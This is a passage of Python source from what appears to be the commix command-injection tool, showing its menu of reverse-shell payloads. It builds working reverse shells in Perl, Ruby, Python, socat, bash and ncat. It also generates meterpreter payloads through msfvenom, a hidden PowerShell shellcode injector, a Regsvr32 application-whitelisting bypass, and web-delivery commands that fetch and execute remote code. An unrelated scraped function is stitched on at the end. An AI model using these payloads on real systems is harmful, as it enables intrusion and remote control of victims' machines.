                          "exec(\"/bin/sh -i\");};'"
            break

        # Ruby-reverse-shell
        elif other_shell == '3':
            other_shell = "ruby -rsocket -e '" \
                          "c=TCPSocket.new(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \
                          "$stdin.reopen(c);" \
                          "$stdout.reopen(c);" \
                          "$stderr.reopen(c);" \
                          "$stdin.each_line{|l|l=l.strip;" \
                          "next if l.length==0;" \
                          "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'"
            break

        # Python-reverse-shell
        elif other_shell == '4':
            other_shell = "python -c 'import socket,subprocess,os%0d" \
                          "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
                          "s.connect((\"" + settings.LHOST  + "\"," + settings.LPORT + "))%0d" \
                          "os.dup2(s.fileno(),0)%0d" \
                          "os.dup2(s.fileno(),1)%0d" \
                          "os.dup2(s.fileno(),2)%0d" \
                          "p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'"
            break

        # Socat-reverse-shell
        elif other_shell == '5':
            other_shell = "socat tcp-connect:" + settings.LHOST + ":" + settings.LPORT + \
                          " exec:\"sh\",pty,stderr,setsid,sigint,sane"
            break

        # Bash-reverse-shell
        elif other_shell == '6':
            tmp_file = ''.join([
                random.choice(string.ascii_letters + string.digits)
                for n in xrange(5)
            ])
            other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \
                          " 1>%260 2>%260\" > /tmp/" + tmp_file + " " + separator + " /bin/bash /tmp/" + tmp_file
            break

        # Ncat-reverse-shell
        elif other_shell == '7':
            other_shell = "ncat " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh"
            break

        # PHP-reverse-shell (meterpreter)
        elif other_shell == '8':
            if not os.path.exists(settings.METASPLOIT_PATH):
                error_msg = settings.METASPLOIT_ERROR_MSG
                print(settings.print_error_msg(error_msg))
                continue

            payload = "php/meterpreter/reverse_tcp"
            output = "php_meterpreter.rc"

            info_msg = "Generating the '" + payload + "' payload. "
            sys.stdout.write(settings.print_info_msg(info_msg))
            sys.stdout.flush()
            try:
                proc = subprocess.Popen(
                    "msfvenom -p " + str(payload) + " LHOST=" +
                    str(settings.LHOST) + " LPORT=" + str(settings.LPORT) +
                    " -e php/base64 -o " + output + ">/dev/null 2>&1",
                    shell=True).wait()

                with open(output, "r+") as content_file:
                    data = content_file.readlines()
                    data = ''.join(data).replace("\n", " ")

                print(settings.SUCCESS_STATUS)
                # Remove the ouput file.
                os.remove(output)
                with open(output, 'w+') as filewrite:
                    filewrite.write("use exploit/multi/handler\n"
                                    "set payload " + payload + "\n"
                                    "set lhost " + str(settings.LHOST) + "\n"
                                    "set lport " + str(settings.LPORT) + "\n"
                                    "exploit\n\n")

                if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR:
                    set_php_working_dir()
                    other_shell = settings.WIN_PHP_DIR + " -r " + data
                else:
                    other_shell = "php -r \"" + data + "\""
                msf_launch_msg(output)
            except:
                print(settings.FAIL_STATUS)
            break

        # Python-reverse-shell
        elif other_shell == '9':
            data =  " -c \"(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings.LHOST + "', " + settings.LPORT + ")), " \
                    "[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \
                    "  __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \
                    "    {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \
                    "    __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: " \
                    "      after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, " \
                    "      __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] " \
                    "for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] " \
                    "for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] " \
                    "for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], " \
                    "  stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] " \
                    "in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in " \
                    "[(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] " \
                    "if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] " \
                    "for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: " \
                    "[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) " \
                    "for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) " \
                    "for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \
                    "for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \
                    "for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
                    "globals(), __import__('contextlib'))\""

            if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
                set_python_working_dir()
                other_shell = settings.WIN_PYTHON_DIR + data
            else:
                other_shell = "python" + data
            break

        # Python-reverse-shell (meterpreter)
        elif other_shell == '10':
            if not os.path.exists(settings.METASPLOIT_PATH):
                error_msg = settings.METASPLOIT_ERROR_MSG
                print(settings.print_error_msg(error_msg))
                continue

            payload = "python/meterpreter/reverse_tcp"
            output = "py_meterpreter.rc"

            info_msg = "Generating the '" + payload + "' payload. "
            sys.stdout.write(settings.print_info_msg(info_msg))
            sys.stdout.flush()
            try:
                proc = subprocess.Popen("msfvenom -p " + str(payload) +
                                        " LHOST=" + str(settings.LHOST) +
                                        " LPORT=" + str(settings.LPORT) +
                                        " -o " + output + ">/dev/null 2>&1",
                                        shell=True).wait()

                with open(output, "r") as content_file:
                    data = content_file.readlines()
                    data = ''.join(data)
                    data = base64.b64encode(data)

                print(settings.SUCCESS_STATUS)
                # Remove the ouput file.
                os.remove(output)
                with open(output, 'w+') as filewrite:
                    filewrite.write("use exploit/multi/handler\n"
                                    "set payload " + payload + "\n"
                                    "set lhost " + str(settings.LHOST) + "\n"
                                    "set lport " + str(settings.LPORT) + "\n"
                                    "exploit\n\n")

                if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
                    set_python_working_dir()
                    other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
                else:
                    other_shell = "python -c \"exec('" + data + "'.decode('base64'))\""
                msf_launch_msg(output)
            except:
                print(settings.FAIL_STATUS)
            break

        # Powershell injection attacks
        elif other_shell == '11':
            if not settings.TARGET_OS == "win":
                windows_only_attack_vector()
                continue
            else:
                while True:
                    windows_reverse_shell = _input(
                        """
---[ """ + Style.BRIGHT + Fore.BLUE + """Powershell injection attacks""" +
                        Style.RESET_ALL + """ ]---
Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL +
                        """' to use shellcode injection with native x86 shellcode.
Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL +
                        """' to use TrustedSec's Magic Unicorn.
Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL +
                        """' to use Regsvr32.exe application whitelisting bypass.
\ncommix(""" + Style.BRIGHT + Fore.RED +
                        """windows_meterpreter_reverse_tcp""" +
                        Style.RESET_ALL + """) > """)

                    if any(option in windows_reverse_shell.lower()
                           for option in settings.SHELL_OPTIONS):
                        if shell_options(windows_reverse_shell):
                            return shell_options(windows_reverse_shell)
                    elif windows_reverse_shell == '1':
                        output = "powershell_attack.rc"
                    elif windows_reverse_shell == '2':
                        output = "powershell_attack.txt"
                    elif windows_reverse_shell == '3':
                        output = "regsvr32_applocker_bypass_server.rc"
                    else:
                        err_msg = "The '" + windows_reverse_shell + "' option, is not valid."
                        print(settings.print_error_msg(err_msg))
                        continue

                    if not os.path.exists(settings.METASPLOIT_PATH):
                        error_msg = settings.METASPLOIT_ERROR_MSG
                        print(settings.print_error_msg(error_msg))
                        continue

                    payload = "windows/meterpreter/reverse_tcp"

                    # Shellcode injection with native x86 shellcode
                    if windows_reverse_shell == '1':
                        gen_payload_msg(payload)
                        try:
                            proc = subprocess.Popen(
                                "msfvenom -p " + str(payload) + " LHOST=" +
                                str(settings.LHOST) + " LPORT=" +
                                str(settings.LPORT) + " -f c -o " + output +
                                ">/dev/null 2>&1",
                                shell=True).wait()
                            with open(output, 'r') as content_file:
                                repls = {
                                    ';': '',
                                    ' ': '',
                                    '+': '',
                                    '"': '',
                                    '\n': '',
                                    'buf=': '',
                                    '\\x': ',0x',
                                    'unsignedcharbuf[]=': ''
                                }
                                shellcode = reduce(
                                    lambda a, kv: a.replace(*kv),
                                    iter(repls.items()),
                                    content_file.read()).rstrip()[1:]
                            # One line shellcode injection with native x86 shellcode
                            # Greetz to Dave Kennedy (@HackingDave)
                            powershell_code = (
                                r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}"""
                                % (shellcode))
                            other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(
                                powershell_code.encode('utf_16_le'))
                            print(settings.SUCCESS_STATUS)
                            with open(output, 'w+') as filewrite:
                                filewrite.write("use exploit/multi/handler\n"
                                                "set payload " + payload + "\n"
                                                "set lhost " +
                                                str(settings.LHOST) + "\n"
                                                "set lport " +
                                                str(settings.LPORT) + "\n"
                                                "exploit\n\n")
                            msf_launch_msg(output)
                        except:
                            print(settings.FAIL_STATUS)
                        break

                    # TrustedSec's Magic Unicorn (3rd Party)
                    elif windows_reverse_shell == '2':
                        try:
                            current_path = os.getcwd()
                            try:
                                unicorn_path = os.path.abspath(
                                    os.path.join(os.path.dirname(__file__),
                                                 '../../',
                                                 'thirdparty/unicorn'))
                                os.chdir(unicorn_path)
                                # Check for Unicorn version.
                                with open('unicorn.py') as unicorn_file:
                                    for line in unicorn_file:
                                        line = line.rstrip()
                                        if "Magic Unicorn Attack Vector v" in line:
                                            unicorn_version = line.replace(
                                                "Magic Unicorn Attack Vector v",
                                                "").replace(" ", "").replace(
                                                    "-",
                                                    "").replace("\"",
                                                                "").replace(
                                                                    ")", "")
                                            break
                            except:
                                unicorn_version = ""
                            update.check_unicorn_version(unicorn_version)
                            try:
                                if len(unicorn_version) == 0:
                                    unicorn_path = os.path.abspath(
                                        os.path.join(os.path.dirname(__file__),
                                                     '../../',
                                                     'thirdparty/unicorn'))
                                    os.chdir(unicorn_path)
                                gen_payload_msg(payload)
                                subprocess.Popen(
                                    "python unicorn.py" + " " + str(payload) +
                                    " " + str(settings.LHOST) + " " +
                                    str(settings.LPORT) + ">/dev/null 2>&1",
                                    shell=True).wait()
                                with open(output, 'r') as content_file:
                                    other_shell = content_file.read().replace(
                                        '\n', '')
                                other_shell = _urllib.parse.quote_plus(
                                    other_shell)
                                print(settings.SUCCESS_STATUS)
                                # Remove the ouput file
                                os.remove(output)
                                with open("unicorn.rc", 'w+') as filewrite:
                                    filewrite.write(
                                        "use exploit/multi/handler\n"
                                        "set payload " + payload + "\n"
                                        "set lhost " + str(settings.LHOST) +
                                        "\n"
                                        "set lport " + str(settings.LPORT) +
                                        "\n"
                                        "exploit\n\n")
                                msf_launch_msg("unicorn.rc")
                                # Return to the current path.
                                os.chdir(current_path)
                            except:
                                continue
                        except:
                            print(settings.FAIL_STATUS)
                        break

                    # Regsvr32.exe application whitelisting bypass
                    elif windows_reverse_shell == '3':
                        with open(output, 'w+') as filewrite:
                            filewrite.write(
                                "use exploit/windows/misc/regsvr32_applocker_bypass_server\n"
                                "set payload " + payload + "\n"
                                "set lhost " + str(settings.LHOST) + "\n"
                                "set lport " + str(settings.LPORT) + "\n"
                                "set srvport " + str(settings.SRVPORT) + "\n"
                                "set uripath " + settings.URIPATH + "\n"
                                "exploit\n\n")
                        if not settings.TARGET_OS == "win":
                            windows_only_attack_vector()
                            continue
                        else:
                            other_shell = "regsvr32 /s /n /u /i:http://" + str(
                                settings.LHOST) + ":" + str(
                                    settings.SRVPORT
                                ) + settings.URIPATH + ".sct scrobj.dll"
                            msf_launch_msg(output)
                            break
            break

        # Web delivery script
        elif other_shell == '12':
            while True:
                web_delivery = _input(
                    """
---[ """ + Style.BRIGHT + Fore.BLUE + """Web delivery script""" +
                    Style.RESET_ALL + """ ]---
Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL +
                    """' to use Python meterpreter reverse TCP shell.
Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL +
                    """' to use PHP meterpreter reverse TCP shell.
Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL +
                    """' to use Windows meterpreter reverse TCP shell.
\ncommix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL +
                    """) > """)

                if any(option in web_delivery.lower()
                       for option in settings.SHELL_OPTIONS):
                    if shell_options(web_delivery):
                        return shell_options(web_delivery)
                elif web_delivery == '1':
                    payload = "python/meterpreter/reverse_tcp"
                elif web_delivery == '2':
                    payload = "php/meterpreter/reverse_tcp"
                elif web_delivery == '3':
                    payload = "windows/meterpreter/reverse_tcp"
                else:
                    err_msg = "The '" + web_delivery + "' option, is not valid."
                    print(settings.print_error_msg(err_msg))
                    continue

                if not os.path.exists(settings.METASPLOIT_PATH):
                    error_msg = settings.METASPLOIT_ERROR_MSG
                    print(settings.print_error_msg(error_msg))
                    continue

                if 'payload' in locals():
                    output = "web_delivery.rc"
                    with open(output, 'w+') as filewrite:
                        filewrite.write(
                            "use exploit/multi/script/web_delivery\n"
                            "set target " + str(int(web_delivery) - 1) + "\n"
                            "set payload " + payload + "\n"
                            "set lhost " + str(settings.LHOST) + "\n"
                            "set lport " + str(settings.LPORT) + "\n"
                            "set srvport " + str(settings.SRVPORT) + "\n"
                            "set uripath " + settings.URIPATH + "\n"
                            "exploit\n\n")

                    if web_delivery == '1':
                        data = "; r=_urllib.request.urlopen('http://" + str(
                            settings.LHOST) + ":" + str(
                                settings.SRVPORT
                            ) + settings.URIPATH + "'); exec(r.read());"
                        data = base64.b64encode(data)
                        if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
                            set_python_working_dir()
                            other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
                        else:
                            other_shell = "python -c \"exec('" + data + "'.decode('base64'))\""
                        msf_launch_msg(output)
                        break
                    elif web_delivery == '2':
                        if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR:
                            set_php_working_dir()
                            other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(
                                settings.LHOST) + ":" + str(
                                    settings.SRVPORT
                                ) + settings.URIPATH + "'));"
                        else:
                            other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str(
                                settings.LHOST) + ":" + str(
                                    settings.SRVPORT
                                ) + settings.URIPATH + "'));\""
                        msf_launch_msg(output)
                        break
                    elif web_delivery == '3':
                        if not settings.TARGET_OS == "win":
                            windows_only_attack_vector()
                            continue
                        else:
                            other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(
                                settings.LHOST) + ":" + str(
                                    settings.SRVPORT
                                ) + settings.URIPATH + "');"
                            msf_launch_msg(output)
                            break
            break
        # Check for available shell options
        elif any(option in other_shell.lower()
                 for option in settings.SHELL_OPTIONS):
            if shell_options(other_shell):
                return shell_options(other_shell)
        # Invalid option
        else:
            err_msg = "The '" + other_shell + "' option, is not valid."
            print(settings.print_error_msg(err_msg))
            continue

    return other_shell
Exemple #6
0
 def randomIP():
     numbers = []
     while not numbers or numbers[0] in (10, 172, 192):
         numbers = sample(xrange(1, 255), 4)
     return '.'.join(str(_) for _ in numbers)